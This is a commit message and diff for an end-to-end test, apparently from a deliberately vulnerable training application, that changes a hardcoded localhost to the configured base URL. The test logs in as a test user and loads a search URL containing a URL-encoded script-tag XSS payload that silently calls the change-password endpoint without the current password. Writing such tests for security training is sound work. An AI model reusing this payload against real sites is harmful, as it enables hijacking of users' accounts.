message: Use base URL in CSRF attack instead of hardcoded localhost
diff: @@ -28,7 +28,7 @@ describe('/#/change-password', () => {
  protractor.beforeEach.login({email: 'bender@' + config.get('application.domain'), password: 'genderBender'})
  it('should be able to change password via XSS-powered CSRF-attack on password change without passing current password', () => {
  - browser.get('/#/search?q=%3Cscript%3Exmlhttp%20%3D%20new%20XMLHttpRequest;%20xmlhttp.open(\'GET\',%20\'http:%2F%2Flocalhost:3000%2Frest%2Fuser%2Fchange-password%3Fnew%3DslurmCl4ssic%26repeat%3DslurmCl4ssic\');%20xmlhttp.send()%3C%2Fscript%3E')
  + browser.get('/#/search?q=%3Cscript%3Exmlhttp%20%3D%20new%20XMLHttpRequest;%20xmlhttp.open(\'GET\',%20\'' + browser.baseUrl + '%2Frest%2Fuser%2Fchange-password%3Fnew%3DslurmCl4ssic%26repeat%3DslurmCl4ssic\');%20xmlhttp.send()%3C%2Fscript%3E')
  browser.get('/#/login')
  element(by.model('user.email')).sendKeys('bender@' + config.get('application.domain'))
  element(by.model('user.password')).sendKeys('slurmCl4ssic')
  